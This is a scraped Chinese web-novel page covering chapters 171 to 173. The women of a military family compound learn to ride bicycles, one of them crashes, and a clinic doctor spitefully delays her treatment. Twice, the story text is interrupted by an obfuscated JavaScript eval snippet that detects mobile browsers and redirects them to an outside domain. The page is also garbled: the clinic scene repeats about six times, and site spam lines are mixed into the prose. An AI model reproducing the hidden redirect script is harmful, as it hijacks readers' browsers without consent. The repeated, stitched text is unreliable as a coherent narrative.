周柒柒嘿嘿一笑,打着哈哈含糊过去。 “不贵不贵,就这破玩意儿,能贵到哪儿去……” 说完,她扭头冲着一旁的陈师傅喊道,“行了行了,师傅,你帮着我们把车骑到那边去。” 说 着,手指向西边操场的方向,“新车刚回来,我们去练练手。” 几人跟着车就往操场走,围拢的军嫂们见没了热闹可看,也就三三两两地散开了。 毕竟在这家属院,车虽说金贵,但也不是头一份,更何况还是二手的,李红娟之前就骑回来一辆。 大家瞅两眼新鲜劲儿过了,也就不惦记了。 要说家属院第一辆自行车,还得是在物资局工作的胡春晓。 早两年她买了自行车,那消息一传开,整个家属院都轰动了,大伙儿议论了好久。 这会儿,胡春晓听说邓翠香几人买了车回来,急得连手里的活儿都顾不上了,一路小跑着赶到操场。 她喘着粗气,看着眼前几辆“战损版”的车,眉头一下子皱了起来。 “买回来了?我早上家里有点事儿,没能陪着你们一起过去,咋听说你们买成二手的了?是不是被坑了?不行,我得找小李去!” 说着,转身就要走。 “啊,别别别,不是二手的” 周柒柒赶紧把她拽住,把事情前后经过说了。 “怪我,当时电话信号不好,没和小李说清楚,害你们差点被陈师傅坑了。” 胡春晓气得直跺脚,义愤填膺道。 “你们放心,我回头就跟小李说,不许让他这亲戚再干这缺德事儿了,他这修车摊就是小李照顾才开得起来,肯定不敢不听小李的!” 说完,胡春晓拉着周柒柒的手,感慨道。 “柒柒,你可太聪明了!不仅便宜买到了新车,还想出把车做旧这主意!你们不知道,前两年我刚买了新车,可没少被人在背后嚼舌根,太招人眼球了……” 想起那段日子,她无奈地摇摇头。 “当时买了车,我在家里放了好长一段时间都不敢骑出去,后来才慢慢学着骑。不过现在我可厉害了,自行车、三轮车我都会骑,我来教你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881980|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们!” “成啊!” 周柒柒让舟舟自个儿先回家去画画,就和其他人一起开始学车。 “咱先教三轮车!这三轮车简单,没啥难的,你们放宽心。” 胡春晓笑着指挥,一副胸有成竹的样子。 她让邓翠香坐前头握着车把,又把周柒柒和朱莹莹按在车斗 两边。 “学三轮第一条车斗里得压点分量不然前头轻飘飘的你蹬起来车把乱晃心里就容易慌。” 邓翠香坐在车把前心里有点紧张手紧紧握着车把手心都冒出了细汗。 胡春晓站在旁边耐心地指导。 “翠香姐你腰挺直屁股坐正了!肩膀放松别那么僵硬。脚放车蹬子上看着前面然后用力往下踩!” 邓翠香深吸一口气按照胡春晓说的用力踩下脚蹬子。 车慢悠悠地走了起来她还是有点手足无措既想使劲儿让车快点走又不敢太使劲生怕出什么意外。 “接着蹬!别松劲儿!你这车有三个轮子呢稳当得很倒不了!你就顺着这操场跑道一路往前稳着蹬就行。” 胡春晓跟着车小跑了几步大声鼓励着。 邓翠香虽说紧张但力气可不小听着胡春晓的指挥一路往前骑。 很快车就到了操场拐弯的地方前面就是一棵大白杨树干笔直地立在那儿 邓翠香看着越来越近的树心里有点慌本能地就想捏闸。 “别捏闸!稳住蹬!” 胡春晓在后头扯着嗓子喊。 “拐弯的时候把车把往你想去的那边转慢点转别太急!对对对然后回轮轻轻把车带回来身子别跟着瞎歪保持平衡!” 邓翠香这会儿也顾不上多想大脑一片空白完全听着胡春晓的指挥。 还别说真就顺利地拐过来了接着又稳稳当当地往前骑。 “翠香姐你真厉害!再带着我们骑一圈!” 周柒柒和朱莹莹对视一眼忍不住齐声夸赞。 邓翠香顺利骑了一路脸上也堆着笑。 午后暖洋洋的日头晒在三个人身上说不出的惬意。 第172章 受伤 就在这时姜向阳带着一串小伙伴跑了过来。 小家伙们早就听说姜向阳家里买了新车好奇得不行一见到车就咋咋呼呼地围了过来。 姜向阳眼睛亮晶晶地盯着车斗“妈你让我们坐会儿呗!我们帮你们压车斗!” “行啊。” 邓翠香笑着把周柒柒和朱莹莹从车斗里叫出来让这群小家伙坐了上去。 一群男娃娃坐在车斗里叽叽喳喳地闹个不停热闹得很。 不过刚骑了一圈姜向阳又一溜烟跑着把沈渡舟从家里给拽出来了非得让她跟着一起玩。 邓翠香可舍不得让沈渡舟给摔了骑得格外得稳当。 这边胡春晓也开始教周柒柒和朱莹莹两人骑自行车。 自行车可比三轮车难学多了。 胡春晓先是让两人站在车子左侧用一个脚来“溜车”感觉一下车走起来的感觉。 这二八大杠比周柒柒之前骑的自行车重多了周柒柒适应了好一会儿才熟悉了重量。 然后就是骑车方式了。 胡春晓个子小一开始教她们的方式是掏裆骑也就是左脚“溜车”右脚从大杠下面的三角空挡伸过去踩右边的脚蹬子。 这一招对于没学过骑自行车的人来说是一种挺好的过渡方式 她捂着患肢皱着眉嘟囔。 “明明没有蛋但却总觉得胯下凉凉的好像随时会卡着裆鸡飞蛋打” “噗——” 胡春晓没忍住弯着腰笑得上气不接下气眼泪都快笑出来了。 “周柒柒你可真行!” 她笑够了大手一挥“得了得了不跟你磨叽这过渡了直接上梁!” 别说这直接跨上大梁骑车周柒柒反倒觉得顺溜多了。 她腰一挺脚一蹬车子“嗖”地一下就出去了没几圈就骑得飞快“叮铃铃”的车铃声清脆得很愣是超过了邓翠香那辆载着一串娃娃的三轮车。 邓翠香在后面直喊“慢点儿骑!当心摔着!” 胡春晓笑眯眯看她骑了一圈突然一拍脑门看了看手表“坏了我还有事儿!” 她抓 过周柒柒的手,往朱莹莹那边一塞,“莹莹就交给你了! 朱莹莹也是一双大长腿,个子又高,学起来也快得很。 周柒柒教了几遍,她就差不多学会了,扶着后座骑了几圈之后。 “腰挺直!.看前面!踩住了!蹬起来! 周柒柒弓着腰,双手紧紧抓住后座,跟着车子一路小跑。 感觉朱莹莹有点晃但没倒,突然大喊一声:“走你! 说着便是用力往前一推! “啊啊啊——! 朱莹莹尖叫着冲了出去,车轮歪歪扭扭地在跑道上画着弧线,却神奇地没倒。 正当她眉开眼笑,想回头跟周柒柒炫耀时,一声刺耳的哭喊突然炸响。 “我也要坐车玩!我也要坐车玩! 紧急着,就见前面本来空无一人的操场跑道上,忽然窜出来一个赵耀祖。 这小子本来是冲着邓翠香的三轮车去的,跑得颠颠的,冷不丁看见一辆自行车冲他过来。 吓得“哎哟一声,腿一软就跌在了跑道上,屁股着地,哇哇大哭起来。 朱莹莹再往前骑就要碾到赵耀祖身上去了,她当时就慌了神,心里“咯噔一下,手忙脚乱地把车头往旁边拐,同时使劲捏闸。 “吱——的一声,自行车轮胎在地上划出半圈黑色的痕迹,带着刺耳的摩擦声,几乎是擦着赵耀祖的衣角拐了出去。 可这一下用力太猛,自行车失去了平衡,“哐当 朱莹莹整个人都被甩了出去,她下意识地把胳膊往脑袋前一挡,身体却“砰地磕在了跑道的碎石子上,小腿还顺着地面往前滑了半米多远。 “嘶—— 一阵钻心的疼从腿上传来,朱莹莹倒吸一口凉气,低头一看,牛仔裤膝盖处破了个老大的口子,血珠正顺着伤口往外渗,红殷殷的,看着就吓人。 “莹莹! 周柒柒吓得脸都白了,赶紧跑过去,蹲在她身边,手都在发抖。 “你怎么样?伤着哪儿了?疼不疼? 朱莹莹嘴唇都没什么血色,一半是摔的,一半是被刚才那场面吓的。 她咬着牙,指着自己的膝盖。 “疼……这儿,还有这儿…… 周柒柒仔细一看可不嘛不仅是蹭破了皮拐弯的时候还不小心碰到了车撑子划了道长长的口子血正往外冒呢。 周柒柒赶紧从兜里掏出块干净的手帕叠了叠按在伤口上可血还是慢慢渗了出来把手帕都染红了一片。 这边动静闹得不小邓翠香骑着三轮车“突突突”地赶了过来一看见朱莹莹腿上的伤也倒吸了口凉气。 她家里有个姜向阳三天两头摔跟头处理伤口算是有点经验当即就说。 “这蹭得不轻啊口子这么深得赶紧送卫生所去说不定还得打破伤风呢!柒柒你赶紧把莹莹抱上三轮车!” 周柒柒点点头刚想弯腰抱朱莹莹就见朱莹莹指了指还在地上哭的赵耀祖。 “把孩子也带上吧……他哭得这么厉害也不知道是不是被我车蹭到了。 “行。” 周柒柒刚才光顾着看朱莹莹了确实没看清车子有没有碰到赵耀祖只好应了声“行”。 她先把朱莹莹小心翼翼地抱上三轮车车斗让她靠着车帮坐好又去把还在哭的赵耀祖哄了两句也抱上了车。 邓翠香脚力好三轮车蹬得飞快没一会儿就到了军属区的卫生所。 前几天结婚之后林彦还有许家老两口就走了但是许枣却赖着没走。 卫生所里许枣正蹲在院子里洗衣服呢搓衣板“哗啦哗啦”响。 周柒柒抱着朱莹莹邓翠香抱着赵耀祖一行人急急忙忙地闯了进去周柒柒赶紧喊。 “许枣!快让你嫂子出来!有人受伤了!” 许枣头也没抬手里的衣服使劲搓了一下没好气地说。 “你自己叫去!我又不是在这儿干活的!” 还是屋里的许树听见了动静赶紧跑出来一看这阵仗也顾不上多说转身就去里屋把林瑶叫了出来。 林瑶穿着件家常衣服听见动静才慢吞吞地出来看见朱莹莹腿上的血眉头就皱起来了不情不愿地去里屋翻出白大褂穿上。 周柒柒赶紧把刚才在操场发生的事儿简单说了一遍林瑶点点头指了指里面的两张病床:“把人放上去吧。” 她正准备先去看朱莹莹的伤口一回头却看见许树的眼睛直勾勾地盯着周柒柒那眼神跟粘在她身上似的。 周柒柒刚才跑得急额头上全是汗脸颊红扑扑的几缕头发被汗水打湿贴在脖子上看着确实有股说不出的劲儿。 许树看得眼睛都直了嘴角还微微上扬也不知道在想啥。 林瑶见状原本要往朱莹莹那边走的脚步一下子就停住了她顿了顿 “我先看看孩子。” 周柒柒急了指着朱莹莹的腿。 “他那就是擦破点皮!你没看见这边血流个不停吗?!赶紧先处理这边啊!” 林瑶却慢悠悠地拿起酒精棉往赵耀祖膝盖上那点小伤口上擦了擦头也不抬地说。 “擦伤而已又死不了人。” 你的朋友正在书荒,快去帮帮他吧 周柒柒仔细一看可不嘛不仅是蹭破了皮拐弯的时候还不小心碰到了车撑子划了道长长的口子血正往外冒呢。 周柒柒赶紧从兜里掏出块干净的手帕叠了叠按在伤口上可血还是慢慢渗了出来把手帕都染红了一片。 这边动静闹得不小邓翠香骑着三轮车“突突突”地赶了过来一看见朱莹莹腿上的伤也倒吸了口凉气。 她家里有个姜向阳三天两头摔跟头处理伤口算是有点经验当即就说。 “这蹭得不轻啊口子这么深得赶紧送卫生所去说不定还得打破伤风呢!柒柒你赶紧把莹莹抱上三轮车!” 周柒柒点点头刚想弯腰抱朱莹莹就见朱莹莹指了指还在地上哭的赵耀祖。 “把孩子也带上吧……他哭得这么厉害也不知道是不是被我车蹭到了。 “行。” 周柒柒刚才光顾着看朱莹莹了确实没看清车子有没有碰到赵耀祖只好应了声“行”。 她先把朱莹莹小心翼翼地抱上三轮车车斗让她靠着车帮坐好又去把还在哭的赵耀祖哄了两句也抱上了车。 邓翠香脚力好三轮车蹬得飞快没一会儿就到了军属区的卫生所。 前几天结婚之后林彦还有许家老两口就走了但是许枣却赖着没走。 卫生所里许枣正蹲在院子里洗衣服呢 周柒柒抱着朱莹莹邓翠香抱着赵耀祖一行人急急忙忙地闯了进去周柒柒赶紧喊。 “许枣!快让你嫂子出来!有人受伤了!” 许枣头也没抬手里的衣服使劲搓了一下没好气地说。 “你自己叫去!我又不是在这儿干活的!” 还是屋里的许树听见了动静赶紧跑出来一看这阵仗也顾不上多说转身就去里屋把林瑶叫了出来。 林瑶穿着件家常衣服听见动静才慢吞吞地出来看见朱莹莹腿上的血眉头就皱起来了不情不愿地去里屋翻出白大褂穿上。 周柒柒赶紧把刚才在操场发生的事儿简单说了一遍林瑶点点头指了指里面的两张病床:“把人放上去吧。” 她正准备先去看朱莹莹的伤口一回头却看见许树的眼睛直勾勾地盯着周柒柒那眼神跟粘在她身上似的。 周柒柒刚才跑得急额头上全是汗脸颊红扑扑的几缕头发被汗水打湿贴在脖子上看着确实有股说不出的劲儿。 许树看得眼睛都直了嘴角还微微上扬也不知道在想啥。 林瑶见状原本要往朱莹莹那边走的脚步一下子就停住了她顿了顿转而去看还在抽抽搭搭的赵耀祖。 “我先看看孩子。” 周柒柒急了指着朱莹莹的腿。 “他那就是擦破点皮!你没看见这边血流个不停吗?!赶紧先处理这边啊!” 林瑶却慢悠悠地拿起酒精棉往赵耀祖膝盖上那点小伤口上擦了擦头也不抬地说。 “擦伤而已又死不了人。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 周柒柒仔细一看,可不嘛,不仅是蹭破了皮,拐弯的时候还不小心碰到了车撑子,划了道长长的口子,血正往外冒呢。 周柒柒赶紧从兜里掏出块干净的手帕,叠了叠按在伤口上,可血还是慢慢渗了出来,把手帕都染红了一片。 这边动静闹得不小,邓翠香骑着三轮车“突突突地赶了过来,一看见朱莹莹腿上的伤,也倒吸了口凉气。 她家里有个姜向阳,三天两头摔跟头,处理伤口算是有点经验,当即就说。 “这蹭得不轻啊,口子这么深,得赶紧送卫生所去,说不定还得打破伤风呢!柒柒,你赶紧把莹莹抱上三轮车! 周柒柒点点头,刚想弯腰抱朱莹莹,就见朱莹莹指了指还在地上哭的赵耀祖。 “把孩子也带上吧……他哭得这么厉害,也不知道是不是被我车蹭到了。 “行。 周柒柒刚才光顾着看朱莹莹了,确实没看清车子有没有碰到赵耀祖,只好应了声“行。 她先把朱莹莹小心翼翼地抱上三轮车车斗,让她靠着车帮坐好,又去把还在哭的赵耀祖哄了两句,也抱上了车。 邓翠香脚力好,三轮车蹬得飞快,没一会儿就到了军属区的卫生所。 前几天结婚之后,林彦还有许家老两口就走了,但是许枣却赖着没走。 卫生所里,许枣正蹲在院子里洗衣服呢,搓衣板“哗啦哗啦响。 周柒柒抱着朱莹莹,邓翠香抱着赵耀祖,一行人急急忙忙地闯了进去,周柒柒赶紧喊。 “许枣!快让你嫂子出来!有人受伤了! 许枣头也没抬,手里的衣服使劲搓了一下,没好气地说。 “你自己叫去!我又不是在这儿干活的! 还是屋里的许树听见了动静,赶紧跑出来,一看这阵仗,也顾不上多说,转身就去里屋把林瑶叫了出来。 林瑶穿着件家常衣服,听见动静才慢吞吞地出来,看见朱莹莹腿上的血,眉头就皱起来了,不情不愿地去里屋翻出白大褂穿上。 周柒柒赶紧把刚才在操场发生的事儿简单说了一遍,林瑶点点头,指了指里面的两张病床:“把人放上去吧。 她正准备先去看朱莹莹的伤口,一回头,却看见许树的眼睛直勾勾地盯着周柒柒,那眼神跟粘在她身上似的。 周柒柒刚才跑得急,额头上全是汗,脸颊红扑扑的,几缕头发被汗水打湿贴在脖子上,看着确实有股说不出的劲儿。 许树看得眼睛都直了,嘴角还微微上扬,也不知道在想啥。 林瑶见状,原本要往朱莹莹那边走的脚步一下子就停住了,她顿了顿,转而去看还在抽抽搭搭的赵耀祖。 “我先看看孩子。 周柒柒急了,指着朱莹莹的腿。 “他那就是擦破点皮!你没看见这边血流个不停吗?!赶紧先处理这边啊! 林瑶却慢悠悠地拿起酒精棉,往赵耀祖膝盖上那点小伤口上擦了擦,头也不抬地说。 “擦伤而已,又死不了人。 说的域名caixs.com▔(请来才小 说 看最新章节 完整章节) 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周柒柒仔细一看,可不嘛,不仅是蹭破了皮,拐弯的时候还不小心碰到了车撑子,划了道长长的口子,血正往外冒呢。 周柒柒赶紧从兜里掏出块干净的手帕,叠了叠按在伤口上,可血还是慢慢渗了出来,把手帕都染红了一片。 这边动静闹得不小,邓翠香骑着三轮车“突突突”地赶了过来,一看见朱莹莹腿上的伤,也倒吸了口凉气。 她家里有个姜向阳,三天两头摔跟头,处理伤口算是有点经验,当即就说。 “这蹭得不轻啊,口子这么深,得赶紧送卫生所去,说不定还得打破伤风呢!柒柒,你赶紧把莹莹抱上三轮车!” 周柒柒点点头,刚想弯腰抱朱莹莹,就见朱莹莹指了指还在地上哭的赵耀祖。 “把孩子也带上吧……他哭得这么厉害,也不知道是不是被我车蹭到了。 “行。” 周柒柒刚才光顾着看朱莹莹了,确实没看清车子有没有碰到赵耀祖,只好应了声“行”。 她先把朱莹莹小心翼翼地抱上三轮车车斗,让她靠着车帮坐好,又去把还在哭的赵耀祖哄了两句,也抱上了车。 邓翠香脚力好,三轮车蹬得飞快,没一会儿就到了军属区的卫生所。 前几天结婚之后,林彦还有许家老两口就走了,但是许枣却赖着没走。 卫生所里,许枣正蹲在院子里洗衣服呢,搓衣板“哗啦哗啦”响。 周柒柒抱着朱莹莹,邓翠香抱着赵耀祖,一行人急急忙忙地闯了进去,周柒柒赶紧喊。 “许枣!快让你嫂子出来!有人受伤了!” 许枣头也没抬,手里的衣服使劲搓了一下,没好气地说。 “你自己叫去!我又不是在这儿干活的!” 还是屋里的许树听见了动静,赶紧跑出来,一看这阵仗,也顾不上多说,转身就去里屋把林瑶叫了出来。 林瑶穿着件家常衣服,听见动静才慢吞吞地出来,看见朱莹莹腿上的血,眉头就皱起来了,不情不愿地去里屋翻出白大褂穿上。 周柒柒赶紧把刚才在操场发生的事儿简单说了一遍,林瑶点点头,指了指里面的两张病床:“把人放上去吧。” 她正准备先去看朱莹莹的伤口,一回头,却看见许树的眼睛直勾勾地盯着周柒柒,那眼神跟粘在她身上似的。 周柒柒刚才跑得急,额头上全是汗,脸颊红扑扑的,几缕头发被汗水打湿贴在脖子上,看着确实有股说不出的劲儿。 许树看得眼睛都直了,嘴角还微微上扬,也不知道在想啥。 林瑶见状,原本要往朱莹莹那边走的脚步一下子就停住了,她顿了顿,转而去看还在抽抽搭搭的赵耀祖。 “我先看看孩子。” 周柒柒急了,指着朱莹莹的腿。 “他那就是擦破点皮!你没看见这边血流个不停吗?!赶紧先处理这边啊!” 林瑶却慢悠悠地拿起酒精棉,往赵耀祖膝盖上那点小伤口上擦了擦,头也不抬地说。 “擦伤而已,又死不了人。” 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 周柒柒仔细一看,可不嘛,不仅是蹭破了皮,拐弯的时候还不小心碰到了车撑子,划了道长长的口子,血正往外冒呢。 周柒柒赶紧从兜里掏出块干净的手帕,叠了叠按在伤口上,可血还是慢慢渗了出来,把手帕都染红了一片。 这边动静闹得不小,邓翠香骑着三轮车“突突突”地赶了过来,一看见朱莹莹腿上的伤,也倒吸了口凉气。 她家里有个姜向阳,三天两头摔跟头,处理伤口算是有点经验,当即就说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881981|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这蹭得不轻啊,口子这么深,得赶紧送卫生所去,说不定还得打破伤风呢!柒柒,你赶紧把莹莹抱上三轮车!” 周柒柒点点头,刚想弯腰抱朱莹莹,就见朱莹莹指了指还在地上哭的赵耀祖。 “把孩子也带上吧……他哭得这么厉害,也不知道是不是被我车蹭到了。 “行。” 周柒柒刚才光顾着看朱莹莹了,确实没看清车子有没有碰到赵耀祖,只好应了声“行”。 她先把朱莹莹小心翼翼地抱上三轮车车斗,让她靠着车帮坐好,又去把还在哭的赵耀祖哄了两句,也抱上了车。 邓翠香脚力好,三轮车蹬得飞快,没一会儿就到了军属区的卫生所。 前几天结婚之后,林彦还有许家老两口就走了,但是许枣却赖着没走。 卫生所里,许枣正蹲在院子里洗衣服呢,搓衣板“哗啦哗啦”响。 周柒柒抱着朱莹莹,邓翠香抱着赵耀祖,一行人急急忙忙地闯了进去,周柒柒赶紧喊。 “许枣!快让你嫂子出来!有人受伤了!” 许枣头也没抬,手里的衣服使劲搓了一下,没好气地说。 “你自己叫去!我又不是在这儿干活的!” 还是屋里的许树听见了动静,赶紧跑出来,一看这阵仗,也顾不上多说,转身就去里屋把林瑶叫了出来。 林瑶穿着件家常衣服,听见动静才慢吞吞地出来,看见朱莹莹腿上的血,眉头就皱起来了,不情不愿地去里屋翻出白大褂穿上。 周柒柒赶紧把刚才在操场发生的事儿简单说了一遍,林瑶点点头,指了指里面的两张病床:“把人放上去吧。” 她正准备先去看朱莹莹的伤口,一回头,却看见许树的眼睛直勾勾地盯着周柒柒,那眼神跟粘在她身上似的。 周柒柒刚才跑得急,额头上全是汗,脸颊红扑扑的,几缕头发被汗水打湿贴在脖子上,看着确实有股说不出的劲儿。 许树看得眼睛都直了,嘴角还微微上扬,也不知道在想啥。 林瑶见状,原本要往朱莹莹那边走的脚步一下子就停住了,她顿了顿,转而去看还在抽抽搭搭的赵耀祖。 “我先看看孩子。” 周柒柒急了,指着朱莹莹的腿。 “他那就是擦破点皮!你没看见这边血流个不停吗?!赶紧先处理这边啊!” 林瑶却慢悠悠地拿起酒精棉,往赵耀祖膝盖上那点小伤口上擦了擦,头也不抬地说。 “擦伤而已,又死不了人。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周柒柒仔细一看,可不嘛,不仅是蹭破了皮,拐弯的时候还不小心碰到了车撑子,划了道长长的口子,血正往外冒呢。 周柒柒赶紧从兜里掏出块干净的手帕,叠了叠按在伤口上,可血还是慢慢渗了出来,把手帕都染红了一片。 这边动静闹得不小,邓翠香骑着三轮车“突突突地赶了过来,一看见朱莹莹腿上的伤,也倒吸了口凉气。 她家里有个姜向阳,三天两头摔跟头,处理伤口算是有点经验,当即就说。 “这蹭得不轻啊,口子这么深,得赶紧送卫生所去,说不定还得打破伤风呢!柒柒,你赶紧把莹莹抱上三轮车! 周柒柒点点头,刚想弯腰抱朱莹莹,就见朱莹莹指了指还在地上哭的赵耀祖。 “把孩子也带上吧……他哭得这么厉害,也不知道是不是被我车蹭到了。 “行。 周柒柒刚才光顾着看朱莹莹了,确实没看清车子有没有碰到赵耀祖,只好应了声“行 她先把朱莹莹小心翼翼地抱上三轮车车斗,让她靠着车帮坐好,又去把还在哭的赵耀祖哄了两句,也抱上了车。 邓翠香脚力好,三轮车蹬得飞快,没一会儿就到了军属区的卫生所。 前几天结婚之后,林彦还有许家老两口就走了,但是许枣却赖着没走。 卫生所里,许枣正蹲在院子里洗衣服呢,搓衣板“哗啦哗啦响。 周柒柒抱着朱莹莹,邓翠香抱着赵耀祖,一行人急急忙忙地闯了进去,周柒柒赶紧喊。 “许枣!快让你嫂子出来!有人受伤了! 许枣头也没抬,手里的衣服使劲搓了一下,没好气地说。 “你自己叫去!我又不是在这儿干活的! 还是屋里的许树听见了动静,赶紧跑出来,一看这阵仗,也顾不上多说,转身就去里屋把林瑶叫了出来。 林瑶穿着件家常衣服,听见动静才慢吞吞地出来,看见朱莹莹腿上的血,眉头就皱起来了,不情不愿地去里屋翻出白大褂穿上。 周柒柒赶紧把刚才在操场发生的事儿简单说了一遍,林瑶点点头,指了指里面的两张病床:“把人放上去吧。 她正准备先去看朱莹莹的伤口,一回头,却看见许树的眼睛直勾勾地盯着周柒柒,那眼神跟粘在她身上似的。 周柒柒刚才跑得急,额头上全是汗,脸颊红扑扑的,几缕头发被汗水打湿贴在脖子上,看着确实有股说不出的劲儿。 许树看得眼睛都直了,嘴角还微微上扬,也不知道在想啥。 林瑶见状,原本要往朱莹莹那边走的脚步一下子就停住了,她顿了顿,转而去看还在抽抽搭搭的赵耀祖。 “我先看看孩子。 周柒柒急了,指着朱莹莹的腿。 “他那就是擦破点皮!你没看见这边血流个不停吗?!赶紧先处理这边啊! 林瑶却慢悠悠地拿起酒精棉,往赵耀祖膝盖上那点小伤口上擦了擦,头也不抬地说。 “擦伤而已,又死不了人。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 周柒柒仔细一看可不嘛不仅是蹭破了皮拐弯的时候还不小心碰到了车撑子划了道长长的口子血正往外冒呢。 周柒柒赶紧从兜里掏出块干净的手帕叠了叠按在伤口上可血还是慢慢渗了出来把手帕都染红了一片。 这边动静闹得不小邓翠香骑着三轮车“突突突”地赶了过来一看见朱莹莹腿上的伤也倒吸了口凉气。 她家里有个姜向阳三天两头摔跟头处理伤口算是有点经验当即就说。 “这蹭得不轻啊口子这么深得赶紧送卫生所去说不定还得打破伤风呢!柒柒你赶紧把莹莹抱上三轮车!” 周柒柒点点头 “把孩子也带上吧……他哭得这么厉害也不知道是不是被我车蹭到了。 “行。” 周柒柒刚才光顾着看朱莹莹了确实没看清车子有没有碰到赵耀祖只好应了声“行”。 她先把朱莹莹小心翼翼地抱上三轮车车斗让她靠着车帮坐好又去把还在哭的赵耀祖哄了两句也抱上了车。 邓翠香脚力好三轮车蹬得飞快没一会儿就到了军属区的卫生所。 前几天结婚之后林彦还有许家老两口就走了但是许枣却赖着没走。 卫生所里许枣正蹲在院子里洗衣服呢搓衣板“哗啦哗啦”响。 周柒柒抱着朱莹莹邓翠香抱着赵耀祖一行人急急忙忙地闯了进去周柒柒赶紧喊。 “许枣!快让你嫂子出来!有人受伤了!” 许枣头也没抬手里的衣服使劲搓了一下没好气地说。 “你自己叫去!我又不是在这儿干活的!” 还是屋里的许树听见了动静赶紧跑出来一看这阵仗也顾不上多说转身就去里屋把林瑶叫了出来。 林瑶穿着件家常衣服听见动静才慢吞吞地出来看见朱莹莹腿上的血眉头就皱起来了不情不愿地去里屋翻出白大褂穿上。 周柒柒赶紧把刚才在操场发生的事儿简单说了一遍林瑶点点头指了指里面的两张病床:“把人放上去吧。” 她正准备先去看朱莹莹的伤口一回头却看见许树的眼睛直勾勾地盯着周柒柒那眼神跟粘在她身上似的。 周柒柒刚才跑得急额头上全是汗脸颊红扑扑的几缕头发被汗水打湿贴在脖子上看着确实有股说不出的劲儿。 许树看得眼睛都直了嘴角还微微上扬也不知道在想啥。 林瑶见状原本要往朱莹莹那边走的脚步一下子就停住了她顿了顿转而去看还在抽抽搭搭的赵耀祖。 “我先看看孩子。” 周柒柒急了指着朱莹莹的腿。 “他那就是擦破点皮!你没看见这边血流个不停吗?!赶紧先处理这边啊!” 林瑶却慢悠悠地拿起酒精棉往赵耀祖膝盖上那点小伤口上擦了擦头也不抬地说。 “擦伤而已又死不了人。” 你的朋友正在书荒,快去帮帮他吧 第173章 给你脸你不要脸? 另一个病床上的赵耀祖,原本就没被自行车蹭到,不过是自己摔地上时,膝盖在粗糙的水泥地上蹭了几下。 伤口连血痂都没凝成,顶多算层破皮。 林瑶却故意慢条斯理地给孩子检查,完全就是看周柒柒不顺眼,在刻意耽误治疗。 周柒柒哪能由着她胡来? 三步并作两步冲过去,一把扯住林瑶白大褂的袖口。 “林瑶,你给我听清楚了!” 她声音不大,但穿透力极强,让整个卫生所瞬间安静了下来,就连正在哼哼唧唧的赵耀祖都闭了嘴。 她狠狠剜了林瑶一眼,喉结上下滚动。 “朱莹莹的男人是团长,她是正儿八经的军属!你身为军属区卫生所的医生,居然敢在这里磨洋工、搞区别对待!知道是什么后果嘛?” 她猛地一拽,把林瑶拽到朱莹莹病床前。 朱莹莹蜷着腿,膝盖上的血已经凝成暗红的痂,看着就让人心疼。 “你现在立刻、马上、全心全意给朱莹莹同志处理伤口!要是处理不好留下后遗症,或者因为你拖延导致感染恶化” 周柒柒眯起眼睛,眼神像是一把刀子。 “我立刻就去军区医院、去军分区卫生所、去部队**部**你!公报私仇、破坏军属健康,我看你这个医生的位置还坐不坐得住!” 她的指甲掐进林瑶胳膊,疼得对方直皱眉。 “没,她没这个意思!” 还没等林瑶开口,许树的脸“唰”地白了,慌忙扯了扯林瑶的袖子,声音里带着颤音。 “瑶瑶,你赶紧给人看病!别意气用事把工作丢了。” 林瑶被周柒柒瞪得心里发毛,又瞥见邓翠香抱着膀子靠在门框上,眼神凶得能**,说话都不利索了。 “我也没说不给她处理啊,我只是先检查一下孩子,这就处理,这就处理.” 她手忙脚乱地翻找药箱,金属器械碰撞声叮当作响。 先是用生理盐水冲洗伤口,水流冲在朱莹莹血肉模糊的膝盖上,她疼得倒抽冷气,指尖都在发抖。 林瑶又用镊子夹着消毒棉,歪歪扭扭地清理创面,镊子好几次差点戳到肉里。 做皮试的时候更是一团糟。 林瑶 的手抖得像筛子,针头扎进去又**,一会儿深了,一会浅了。 朱莹莹胳膊上很快鼓起好几个小皮丘,红得像被马蜂蛰了似的。 她咬着嘴唇,眼泪在眼眶里打转,只能死死抓住周柒柒的手,指甲都掐进对方手心里。 从开始处理到最后开止痛药,整整花了一个多小时,天都快黑了。 刚处理完,门外突然传来一阵急促的脚步声,还伴随着尖利的叫嚷。 “是哪个杀千刀的骑车撞着我家耀祖了!不长眼睛是不是!” “哎呦,这可是我们赵家唯一的独苗,可不能出事儿了!” 赵耀祖本来都在病床上睡着了,被这嗓门一吓,“哇”地又哭嚎起来。 母子俩抱作一团,邱春芳拍着儿子后背,眼泪鼻涕糊了满脸,“我的儿啊,遭这么大罪.” 那动静,不知情的还以为孩子受了什么重伤。 林瑶本来就心烦意乱,这会儿更是没了耐心,没好气地说。 “他没事,就是摔了一下,皮都没破,已经处理过了,两毛钱。” 她又转身抓起一盒止痛药,“啪”地丢在周柒柒面前。 “你们的,连针带药两块三毛钱。” 说完还翻了个白眼。 “该处理的全都给你们处理了,你们可以掏钱走人了。” 